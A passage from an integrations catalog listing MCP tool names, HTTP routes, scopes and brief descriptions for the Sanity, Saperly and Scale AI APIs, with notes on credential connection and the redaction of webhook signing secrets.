/v2026-04-27/user-applications/resolve/application GET /api/v1/sanity/v2026-04-27/user-applications/resolve/application. Scopes: api. sanity_get_user_applications_resolve_project (read) — Get project by application via GET /v2026-04-27/user-applications/resolve/project GET /api/v1/sanity/v2026-04-27/user-applications/resolve/project. Scopes: api. sanity_get_user_applications_workspaces (read) — Get workspaces for studio applications via GET /v2026-04-27/user-applications/workspaces GET /api/v1/sanity/v2026-04-27/user-applications/workspaces. Scopes: api. sanity_patch_applications_by_application_id (write) — Update an application via PATCH /vX/applications/{applicationId} PATCH /api/v1/sanity/vX/applications/{applicationId}. Scopes: api. sanity_patch_hooks_projects_by_id (write) — Update a webhook via PATCH /v2026-04-27/hooks/projects/{projectId}/{id} PATCH /api/v1/sanity/v2026-04-27/hooks/projects/{id}. Scopes: api. sanity_patch_projects_by_project_id (write) — Update a project via PATCH /v2026-04-27/projects/{projectId} PATCH /api/v1/sanity/v2026-04-27/projects/{projectId}. Scopes: api. sanity_patch_projects_by_project_id_datasets_by_dataset_name (write) — Update a dataset via PATCH /v2026-04-27/projects/{projectId}/datasets/{datasetName} PATCH /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}. Scopes: api. sanity_patch_projects_by_project_id_user_applications_by_user_application_id (write) — Update a user application for a project via PATCH /v2026-04-27/projects/{projectId}/user-applications/{userApplicationId} PATCH /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}. Scopes: api. sanity_patch_schedules_by_schedule_id (write) — Update schedule via PATCH /v2026-04-27/schedules/{projectId}/{dataset}/{scheduleId} PATCH /api/v1/sanity/v2026-04-27/schedules/{scheduleId}. Scopes: api. sanity_patch_user_applications_by_user_application_id (write) — Update a user application via PATCH /v2026-04-27/user-applications/{userApplicationId} PATCH /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_invites (write) — Create invite via POST /v2026-04-27/access/{resourceType}/{resourceId}/invites POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_invites_token_by_invite_token_accept (write) — Accept invite via POST /v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken}/accept POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/invites/token/{inviteToken}/accept. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_permissions (write) — Create a permission via POST /v2026-04-27/access/{resourceType}/{resourceId}/permissions POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/permissions. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_requests (write) — Create a new request via POST /v2026-04-27/access/{resourceType}/{resourceId}/requests POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/requests. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_robots (write) — Create robot and associated token via POST /v2026-04-27/access/{resourceType}/{resourceId}/robots POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/robots. Scopes: api. sanity_post_access_by_resource_type_by_resource_id_roles (write) — Create a role (Access API) via POST /v2026-04-27/access/{resourceType}/{resourceId}/roles POST /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/roles. Scopes: api. sanity_post_access_robots_me_rotate (write) — Rotate current robot token via POST /v2026-04-27/access/robots/me/rotate POST /api/v1/sanity/v2026-04-27/access/robots/me/rotate. Scopes: api. sanity_post_agent_action_generate (write) — Send an instruction to generate via POST /v2026-04-27/agent/action/generate/{dataset} POST /api/v1/sanity/v2026-04-27/agent/action/generate. Scopes: api. sanity_post_agent_action_patch (write) — Make a schema aware patch to a document via POST /v2026-04-27/agent/action/patch/{dataset} POST /api/v1/sanity/v2026-04-27/agent/action/patch. Scopes: api. sanity_post_agent_action_prompt (write) — Prompt the llm for a response via POST /v2026-04-27/agent/action/prompt/{dataset} POST /api/v1/sanity/v2026-04-27/agent/action/prompt. Scopes: api. sanity_post_agent_by_organization_id_threads_by_thread_id (write) — Send a chat message via POST /v2026-04-27/agent/{organizationId}/threads/{threadId} POST /api/v1/sanity/v2026-04-27/agent/{organizationId}/threads/{threadId}. Scopes: api. sanity_post_agent_prompt (write) — Send a one shot prompt via POST /v2026-04-27/agent/prompt POST /api/v1/sanity/v2026-04-27/agent/prompt. Scopes: api. sanity_post_applications (write) — Create an application via POST /vX/applications POST /api/v1/sanity/vX/applications. Scopes: api. sanity_post_applications_by_application_id_installations (write) — Install a singleton application via POST /vX/applications/{applicationId}/installations POST /api/v1/sanity/vX/applications/{applicationId}/installations. Scopes: api. sanity_post_assets_files_from_url (write) — Upload a file asset from a url via POST /v2026-04-27/assets/files/{dataset}/from-url POST /api/v1/sanity/v2026-04-27/assets/files/from-url. Scopes: api. sanity_post_assets_images_from_url (write) — Upload an image asset from a url via POST /v2026-04-27/assets/images/{dataset}/from-url POST /api/v1/sanity/v2026-04-27/assets/images/from-url. Scopes: api. sanity_post_assets_media_library_link (write) — Link a media library asset to a document via POST /v2026-04-27/assets/media-library-link/{dataset} POST /api/v1/sanity/v2026-04-27/assets/media-library-link. Scopes: api. sanity_post_data_actions (write) — Dispatch one or more actions via POST /v2026-04-27/data/actions/{dataset} POST /api/v1/sanity/v2026-04-27/data/actions. Scopes: api. sanity_post_data_mutate (write) — Mutate documents via POST /v2026-04-27/data/mutate/{dataset} POST /api/v1/sanity/v2026-04-27/data/mutate. Scopes: api. sanity_post_data_query (write) — Query using post method via POST /v2026-04-27/data/query/{dataset} POST /api/v1/sanity/v2026-04-27/data/query. Scopes: api. sanity_post_deploy (write) — Legacy deploy route via POST /v2026-04-27/deploy POST /api/v1/sanity/v2026-04-27/deploy. Scopes: api. sanity_post_deploy_quickstart (write) — Quickstart deploy via POST /v2026-04-27/deploy/quickstart POST /api/v1/sanity/v2026-04-27/deploy/quickstart. Scopes: api. sanity_post_functions_by_function_id_invoke (write) — Invoke a function via POST /v2026-04-27/functions/{functionId}/invoke POST /api/v1/sanity/v2026-04-27/functions/{functionId}/invoke. Scopes: api. sanity_post_hooks_projects (write) — Create a webhook via POST /v2026-04-27/hooks/projects/{projectId} POST /api/v1/sanity/v2026-04-27/hooks/projects. Scopes: api. sanity_post_installations_defaults (write) — Install the default singletons for an organization via POST /vX/installations/defaults POST /api/v1/sanity/vX/installations/defaults. Scopes: api. sanity_post_media_libraries_by_library_id_from_url (write) — Upload an asset to the media library from a url via POST /v2026-04-27/media-libraries/{libraryId}/from-url POST /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/from-url. Scopes: api. sanity_post_media_libraries_by_library_id_mutate (write) — Mutate media in the media library via POST /v2026-04-27/media-libraries/{libraryId}/mutate POST /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/mutate. Scopes: api. sanity_post_media_libraries_by_library_id_signing_keys (write) — Create a new signing key via POST /v2026-04-27/media-libraries/{libraryId}/signing-keys POST /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/signing-keys. Scopes: api. sanity_post_media_libraries_by_library_id_video_by_video_id_subtitles (write) — Generate subtitles using ai via POST /v2026-04-27/media-libraries/{libraryId}/video/{videoId}/subtitles POST /api/v1/sanity/v2026-04-27/media-libraries/{libraryId}/video/{videoId}/subtitles. Scopes: api. sanity_post_organizations_by_organization_id_attribute_definitions (write) — Create attribute definition via POST /v2026-04-27/organizations/{organizationId}/attribute-definitions POST /api/v1/sanity/v2026-04-27/organizations/{organizationId}/attribute-definitions. Scopes: api. sanity_post_organizations_by_organization_id_providers_by_provider_id_projects_by_project_id_role_mappings (write) — Create update project role mappings via POST /v2026-04-27/organizations/{organizationId}/providers/{providerId}/projects/{projectId}/role-mappings POST /api/v1/sanity/v2026-04-27/organizations/{organizationId}/providers/{providerId}/projects/{projectId}/role-mappings. Scopes: api. sanity_post_organizations_by_organization_id_users_by_sanity_user_id_attributes (write) — Update user attributes via POST /v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes POST /api/v1/sanity/v2026-04-27/organizations/{organizationId}/users/{sanityUserId}/attributes. Scopes: api. sanity_post_projects (write) — Create a project via POST /v2026-04-27/projects POST /api/v1/sanity/v2026-04-27/projects. Scopes: api. sanity_post_projects_by_project_id_cors (write) — Create a cors entry via POST /v2026-04-27/projects/{projectId}/cors POST /api/v1/sanity/v2026-04-27/projects/{projectId}/cors. Scopes: api. sanity_post_projects_by_project_id_datasets_by_dataset_name (write) — Retrieve a dataset via POST /v2026-04-27/projects/{projectId}/datasets/{datasetName} POST /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}. Scopes: api. sanity_post_projects_by_project_id_permission_resource_schemas (write) — Create a permission resource schema via POST /v2026-04-27/projects/{projectId}/permissionResourceSchemas POST /api/v1/sanity/v2026-04-27/projects/{projectId}/permissionResourceSchemas. Scopes: api. sanity_post_projects_by_project_id_roles (write) — Create a role (project) via POST /v2026-04-27/projects/{projectId}/roles POST /api/v1/sanity/v2026-04-27/projects/{projectId}/roles. Scopes: api. sanity_post_projects_by_project_id_tags (write) — Create a new tag for the project via POST /v2026-04-27/projects/{projectId}/tags POST /api/v1/sanity/v2026-04-27/projects/{projectId}/tags. Scopes: api. sanity_post_projects_by_project_id_tokens (write) — Create a new token for the project via POST /v2026-04-27/projects/{projectId}/tokens POST /api/v1/sanity/v2026-04-27/projects/{projectId}/tokens. Scopes: api. sanity_post_projects_by_project_id_user_applications (write) — Create a user application for a project via POST /v2026-04-27/projects/{projectId}/user-applications POST /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications. Scopes: api. sanity_post_projects_by_project_id_user_applications_by_user_application_id_config_by_config_key (write) — Register a user application config for a project via POST /v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}/config/{configKey} POST /api/v1/sanity/v2026-04-27/projects/{projectId}/user-applications/{userApplicationId}/config/{configKey}. Scopes: api. sanity_post_publish (write) — Publish documents via POST /v2026-04-27/publish/{projectId}/{dataset} POST /api/v1/sanity/v2026-04-27/publish. Scopes: api. sanity_post_schedules (write) — Create schedule via POST /v2026-04-27/schedules/{projectId}/{dataset} POST /api/v1/sanity/v2026-04-27/schedules. Scopes: api. sanity_post_schedules_by_schedule_id_publish (write) — Run schedule via POST /v2026-04-27/schedules/{projectId}/{dataset}/{scheduleId}/publish POST /api/v1/sanity/v2026-04-27/schedules/{scheduleId}/publish. Scopes: api. sanity_post_unpublish (write, destructive) — Unpublish documents via POST /v2026-04-27/unpublish/{projectId}/{dataset} POST /api/v1/sanity/v2026-04-27/unpublish. Scopes: api. sanity_post_user_applications (write) — Create a user application via POST /v2026-04-27/user-applications POST /api/v1/sanity/v2026-04-27/user-applications. Scopes: api. sanity_post_user_applications_by_user_application_id_application_data (write) — Create user application data via POST /v2026-04-27/user-applications/{userApplicationId}/applicationData POST /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}/applicationData. Scopes: api. sanity_post_user_applications_by_user_application_id_config_by_config_key (write) — Register a user application config via POST /v2026-04-27/user-applications/{userApplicationId}/config/{configKey} POST /api/v1/sanity/v2026-04-27/user-applications/{userApplicationId}/config/{configKey}. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_permissions_by_permission_name (write) — Update a permission via PUT /v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName} PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/permissions/{permissionName}. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_requests_by_request_id_accept (write) — Accept request via PUT /v2026-04-27/access/{resourceType}/{resourceId}/requests/{requestId}/accept PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/requests/{requestId}/accept. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_requests_by_request_id_decline (write) — Decline request via PUT /v2026-04-27/access/{resourceType}/{resourceId}/requests/{requestId}/decline PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/requests/{requestId}/decline. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_robots_by_robot_id (write) — Update robot token via PUT /v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId} PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/robots/{robotId}. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_roles_by_role_name (write) — Update a role (Access API) via PUT /v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName} PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/roles/{roleName}. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_users_by_sanity_user_id_roles (write) — Replace the role set for a user via PUT /v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles. Scopes: api. sanity_put_access_by_resource_type_by_resource_id_users_by_sanity_user_id_roles_by_role_name (write) — Add a role to a user (Access API) via PUT /v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles/{roleName} PUT /api/v1/sanity/v2026-04-27/access/{resourceType}/{resourceId}/users/{sanityUserId}/roles/{roleName}. Scopes: api. sanity_put_access_organization_by_resource_id_users_roles_default (write) — Apply organization default role to all users via PUT /v2026-04-27/access/organization/{resourceId}/users/roles/default PUT /api/v1/sanity/v2026-04-27/access/organization/{resourceId}/users/roles/default. Scopes: api. sanity_put_functions_by_function_id_envvars_by_env_var_key (write) — Update an environment variable via PUT /v2026-04-27/functions/{functionId}/envvars/{envVarKey} PUT /api/v1/sanity/v2026-04-27/functions/{functionId}/envvars/{envVarKey}. Scopes: api. sanity_put_organizations_by_organization_id_acl_by_sanity_user_id (write) — Give an organization member a role via PUT /v2026-04-27/organizations/{organizationId}/acl/{sanityUserId} PUT /api/v1/sanity/v2026-04-27/organizations/{organizationId}/acl/{sanityUserId}. Scopes: api. sanity_put_projects_by_project_id_acl_by_user_id (write) — Add a role to a user (project) via PUT /v2026-04-27/projects/{projectId}/acl/{userId} PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/acl/{userId}. Scopes: api. sanity_put_projects_by_project_id_datasets_by_dataset_name (write) — Create a dataset via PUT /v2026-04-27/projects/{projectId}/datasets/{datasetName} PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}. Scopes: api. sanity_put_projects_by_project_id_datasets_by_dataset_name_copy (write) — Copy a dataset via PUT /v2026-04-27/projects/{projectId}/datasets/{datasetName}/copy PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/copy. Scopes: api. sanity_put_projects_by_project_id_datasets_by_dataset_name_settings_backups (write) — Enable or disable backups via PUT /v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/backups PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/backups. Scopes: api. sanity_put_projects_by_project_id_datasets_by_dataset_name_settings_embeddings (write) — Update embeddings index settings for a dataset via PUT /v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/embeddings PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/settings/embeddings. Scopes: api. sanity_put_projects_by_project_id_datasets_by_dataset_name_tags_by_tag_identifier (write) — Assign a tag to a dataset via PUT /v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags/{tagIdentifier} PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/datasets/{datasetName}/tags/{tagIdentifier}. Scopes: api. sanity_put_projects_by_project_id_roles_by_role_name (write) — Update a role (project) via PUT /v2026-04-27/projects/{projectId}/roles/{roleName} PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/roles/{roleName}. Scopes: api. sanity_put_projects_by_project_id_tags_by_tag_identifier (write) — Update a tag by identifier via PUT /v2026-04-27/projects/{projectId}/tags/{tagIdentifier} PUT /api/v1/sanity/v2026-04-27/projects/{projectId}/tags/{tagIdentifier}. Scopes: api. ================================================================================ ## Saperly URL: https://www.agenticfabriq.com/integrations/saperly Section: Integrated Tools Saperly — 42 MCP tools Provider key: saperly. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. saperly_delete_connections_by_id (write, destructive) — Delete a connection. (DELETE https://api.saperly.com/connections/{id}) DELETE /api/v1/saperly/connections/{id}. Scopes: api. saperly_get_calls (read) — List calls. (GET https://api.saperly.com/calls) GET /api/v1/saperly/calls. Scopes: api. saperly_get_calls_by_id (read) — Get a call by id. (GET https://api.saperly.com/calls/{id}) GET /api/v1/saperly/calls/{id}. Scopes: api. saperly_get_calls_by_id_recording (read) — Get a call recording (302 redirect to a download URL). Saperly answers this with a 302 to a time-limited download URL rather than with audio. This integration does not stream the media through the gateway: it follows the redirect and returns a JSON descriptor naming the resolved `url`, `contentType` and `contentLength`, so fetch the recording from that URL. (GET https://api.saperly.com/calls/{id}/recording) GET /api/v1/saperly/calls/{id}/recording. Scopes: api. saperly_get_calls_by_id_transcript (read) — Get a call transcript. (GET https://api.saperly.com/calls/{id}/transcript) GET /api/v1/saperly/calls/{id}/transcript. Scopes: api. saperly_get_connections (read) — List all connections in the workspace. (GET https://api.saperly.com/connections) GET /api/v1/saperly/connections. Scopes: api. saperly_get_connections_by_id (read) — Get a connection by id. (GET https://api.saperly.com/connections/{id}) GET /api/v1/saperly/connections/{id}. Scopes: api. saperly_get_consent (read) — List all consent records in the workspace. (GET https://api.saperly.com/consent) GET /api/v1/saperly/consent. Scopes: api. saperly_get_consent_check (read) — Check whether a contact has active consent. (GET https://api.saperly.com/consent/check) GET /api/v1/saperly/consent/check. Scopes: api. saperly_get_health (read) — Liveness probe. NEEDS NO CREDENTIAL: measured 2026-09-16, this route answers 200 {"status":"ok"} with no Authorization header at all. It proves the Saperly API is reachable, NOT that this connection's key is valid -- call any other tool for that. (GET https://api.saperly.com/health) GET /api/v1/saperly/health. Scopes: api. saperly_get_languages (read) — List the supported spoken languages. (GET https://api.saperly.com/languages) GET /api/v1/saperly/languages. Scopes: api. saperly_get_messages (read) — List messages (optionally filtered by number). (GET https://api.saperly.com/messages) GET /api/v1/saperly/messages. Scopes: api. saperly_get_numbers (read) — List all phone numbers in the workspace. (GET https://api.saperly.com/numbers) GET /api/v1/saperly/numbers. Scopes: api. saperly_get_numbers_by_id (read) — Get a phone number by id. (GET https://api.saperly.com/numbers/{id}) GET /api/v1/saperly/numbers/{id}. Scopes: api. saperly_get_pricing_quote (read) — Quote the price of a phone number. (GET https://api.saperly.com/pricing/quote) GET /api/v1/saperly/pricing/quote. Scopes: api. saperly_get_usage (read) — Get a usage summary (optionally since a timestamp). (GET https://api.saperly.com/usage) GET /api/v1/saperly/usage. Scopes: api. saperly_get_voices (read) — List available voices (optionally filtered by language). (GET https://api.saperly.com/voices) GET /api/v1/saperly/voices. Scopes: api. saperly_get_workspaces_by_slug_audit_events (read) — List the workspace audit-log events. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (GET https://api.saperly.com/workspaces/{slug}/audit-events) GET /api/v1/saperly/workspaces/{slug}/audit-events. Scopes: api. saperly_get_workspaces_by_slug_members (read) — List the workspace members. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (GET https://api.saperly.com/workspaces/{slug}/members) GET /api/v1/saperly/workspaces/{slug}/members. Scopes: api. saperly_get_workspaces_by_slug_webhooks (read) — List the workspace webhook endpoints. Returns every webhook endpoint for the workspace, each including its full `signingSecret` (`whsec_…`) — the reveal surface, so the secret can be re-copied at any time to verify delivery signatures. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". SIGNING SECRETS ARE REDACTED: each endpoint's `signingSecret` is replaced with a placeholder by this integration before the response reaches you -- a webhook signing secret can forge deliveries your system would accept as genuine, and a tool answer is replayed into transcripts and logs. Every other field is the provider's own. Read the real secret in Saperly: Settings > Webhooks. (GET https://api.saperly.com/workspaces/{slug}/webhooks) GET /api/v1/saperly/workspaces/{slug}/webhooks. Scopes: api. saperly_get_workspaces_by_slug_webhooks_by_webhookid_deliveries (read) — List a webhook endpoint's recent delivery attempts. Returns the endpoint's most recent delivery attempts (newest first), each with the event type, outcome (`delivered`/`failed`), HTTP `responseStatus`, attempt number, and timestamps — so you can see exactly why a delivery did or didn't land (e.g. a run of `failed` with `responseStatus: 530` means your receiver is unreachable). `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (GET https://api.saperly.com/workspaces/{slug}/webhooks/{webhookId}/deliveries) GET /api/v1/saperly/workspaces/{slug}/webhooks/{webhookId}/deliveries. Scopes: api. saperly_patch_connections_by_id (write) — Update a connection (re-syncs the carrier). (PATCH https://api.saperly.com/connections/{id}) PATCH /api/v1/saperly/connections/{id}. Scopes: api. saperly_post_api_tokens (write) — Mint a scoped API key. (POST https://api.saperly.com/api-tokens) POST /api/v1/saperly/api-tokens. Scopes: api. saperly_post_api_tokens_by_id_revoke (write) — Revoke an API key. (POST https://api.saperly.com/api-tokens/{id}/revoke) POST /api/v1/saperly/api-tokens/{id}/revoke. Scopes: api. saperly_post_assistant_answer (write) — Ask the workspace assistant a question. (POST https://api.saperly.com/assistant/answer) POST /api/v1/saperly/assistant/answer. Scopes: api. saperly_post_calls (write) — Place an outbound call. (POST https://api.saperly.com/calls) POST /api/v1/saperly/calls. Scopes: api. saperly_post_calls_by_id_end (write) — End a live call. (POST https://api.saperly.com/calls/{id}/end) POST /api/v1/saperly/calls/{id}/end. Scopes: api. saperly_post_calls_by_id_transfer (write) — Blind-transfer a live call. (POST https://api.saperly.com/calls/{id}/transfer) POST /api/v1/saperly/calls/{id}/transfer. Scopes: api. saperly_post_connections (write) — Create a connection (provisions inline). (POST https://api.saperly.com/connections) POST /api/v1/saperly/connections. Scopes: api. saperly_post_consent (write) — Record consent for a contact. (POST https://api.saperly.com/consent) POST /api/v1/saperly/consent. Scopes: api. saperly_post_consent_revoke (write) — Revoke consent for a contact. (POST https://api.saperly.com/consent/revoke) POST /api/v1/saperly/consent/revoke. Scopes: api. saperly_post_messages (write) — Send an SMS message. (POST https://api.saperly.com/messages) POST /api/v1/saperly/messages. Scopes: api. saperly_post_numbers (write) — Provision a phone number. (POST https://api.saperly.com/numbers) POST /api/v1/saperly/numbers. Scopes: api. saperly_post_numbers_by_id_caller_id (write) — Set the outbound caller ID name (CNAM). (POST https://api.saperly.com/numbers/{id}/caller-id) POST /api/v1/saperly/numbers/{id}/caller-id. Scopes: api. saperly_post_numbers_by_id_connection (write) — Bind a connection to a number. (POST https://api.saperly.com/numbers/{id}/connection) POST /api/v1/saperly/numbers/{id}/connection. Scopes: api. saperly_post_numbers_by_id_release (write) — Release a phone number. (POST https://api.saperly.com/numbers/{id}/release) POST /api/v1/saperly/numbers/{id}/release. Scopes: api. saperly_post_numbers_by_id_sms_sender (write) — Set the alphanumeric SMS sender id. (POST https://api.saperly.com/numbers/{id}/sms-sender) POST /api/v1/saperly/numbers/{id}/sms-sender. Scopes: api. saperly_post_numbers_by_id_webhook (write) — Set a number's manual-mode brain URL. Sets the per-number manual-mode conversation-brain URL (a fallback for the connection's `manualWebhookUrl`). NOT an event-notification webhook — to receive call/SMS events, register a workspace webhook endpoint via `POST /workspaces/:slug/webhooks`. (POST https://api.saperly.com/numbers/{id}/webhook) POST /api/v1/saperly/numbers/{id}/webhook. Scopes: api. saperly_post_workspaces_by_slug_api_tokens (write) — Create a scoped API token. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (POST https://api.saperly.com/workspaces/{slug}/api-tokens) POST /api/v1/saperly/workspaces/{slug}/api-tokens. Scopes: api. saperly_post_workspaces_by_slug_api_tokens_by_tokenid_revoke (write) — Revoke an API token. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (POST https://api.saperly.com/workspaces/{slug}/api-tokens/{tokenId}/revoke) POST /api/v1/saperly/workspaces/{slug}/api-tokens/{tokenId}/revoke. Scopes: api. saperly_post_workspaces_by_slug_invitations (write) — Invite a member by email. `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". (POST https://api.saperly.com/workspaces/{slug}/invitations) POST /api/v1/saperly/workspaces/{slug}/invitations. Scopes: api. saperly_post_workspaces_by_slug_webhooks (write) — Create a webhook endpoint. Registers an outbound webhook endpoint and returns it with its full `signingSecret`. Use the secret to verify each delivery’s `x-saperly-signature: v1=<hex>` header (HMAC-SHA256 over `${x-saperly-timestamp}.${rawBody}`). `slug` must be the workspace this connection's key belongs to: measured 2026-09-16, the key reaches these routes, and any OTHER slug answers 403 {"_tag":"AuthorizationDenied","reason":"token is not scoped to this workspace"} -- a distinct reason from the bogus-key "invalid_or_insufficient_token". SIGNING SECRET IS REDACTED: Saperly returns the new endpoint's `signingSecret` here and this integration replaces it with a placeholder, for the reason above. The webhook IS created and every other field is real; read its secret in Saperly: Settings > Webhooks. (POST https://api.saperly.com/workspaces/{slug}/webhooks) POST /api/v1/saperly/workspaces/{slug}/webhooks. Scopes: api. ================================================================================ ## Scale AI URL: https://www.agenticfabriq.com/integrations/scaleai Section: Integrated Tools Scale AI — 35 MCP tools Provider key: scaleai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. scaleai_delete_task_by_task_id_tags (write, destructive) — Remove the listed tags from a task. The request body is a JSON array of non-empty strings. Via DELETE /task/{task_id}/tags. DELETE /api/v1/scaleai/task/{task_id}/tags. Scopes: api. scaleai_delete_task_by_task_id_unique_id (write, destructive) — Remove a task's unique_id so the same value can be used on a future task. Via DELETE /task/{task_id}/unique_id. DELETE /api/v1/scaleai/task/{task_id}/unique_id. Scopes: api. scaleai_get_audits (read) — List fixless audits by task_id or by audit id. Via GET /audits/. GET /api/v1/scaleai/audits. Scopes: api. scaleai_get_batches (read) — Paged list of your batches in descending created_at order, filtered by project, status (staging, in_progress, completed) and time window; page with limit and offset. Via GET /batches. GET /api/v1/scaleai/batches. Scopes: api. scaleai_get_batches_by_batchname (read) — Get the details of a batch by name. Via GET /batches/{batchName}. GET /api/v1/scaleai/batches/{batchName}. Scopes: api. scaleai_get_batches_by_batchname_status (read) — Get a batch's status and the counts of its tasks grouped by task status. Via GET /batches/{batchName}/status. GET /api/v1/scaleai/batches/{batchName}/status. Scopes: api. scaleai_get_projects (read) — List information for all projects; set archived to list only archived (true) or unarchived (false) projects. Via GET /projects. GET /api/v1/scaleai/projects. Scopes: api. scaleai_get_projects_by_name (read) — Get a project's details (type, name, parameter history) by its name. Via GET /projects/{name}. GET /api/v1/scaleai/projects/{name}. Scopes: api. scaleai_get_task_by_taskid (read) — Retrieve detailed task information for a specific task by its task ID. Via GET /task/{taskId}. GET /api/v1/scaleai/task/{taskId}. Scopes: api. scaleai_get_tasks (read) — Paginated list of your tasks in descending created_at order, filtered by time window, status, type, project, batch, customer review status, unique_id or tags; page with limit (1-100) and the returned next_token. Time filters take ISO 8601 strings. Via GET /tasks. GET /api/v1/scaleai/tasks. Scopes: api. scaleai_post_batches (write) — Create a new batch within a project. Via POST /batches. POST /api/v1/scaleai/batches. Scopes: api. scaleai_post_batches_by_batchname_finalize (write) — Finalize a batch so its tasks can be worked on (Scale Rapid and Studio); other customers get a no-op 200. Via POST /batches/{batchName}/finalize. POST /api/v1/scaleai/batches/{batchName}/finalize. Scopes: api. scaleai_post_batches_by_batchname_prioritize (write) — Update a batch's priority, from 10 (lowest) to 30 (highest); tasks already started are not affected. Via POST /batches/{batchName}/prioritize. POST /api/v1/scaleai/batches/{batchName}/prioritize. Scopes: api. scaleai_post_projects (write) — Create a project: the task type of its tasks, a name unique among your projects, default task params, and the Rapid/Studio flags with pipeline and consensus attempts for Studio projects. Via POST /projects. POST /api/v1/scaleai/projects. Scopes: api. scaleai_post_projects_by_name_setparams (write) — Set project-level default task parameters as a new param_history version; patch=true combines them with the latest version instead of replacing it. Besides patch and instruction, the body carries any task parameter. Via POST /projects/{name}/setParams. POST /api/v1/scaleai/projects/{name}/setParams. Scopes: api. scaleai_post_task_by_task_id_dependents_force_creation 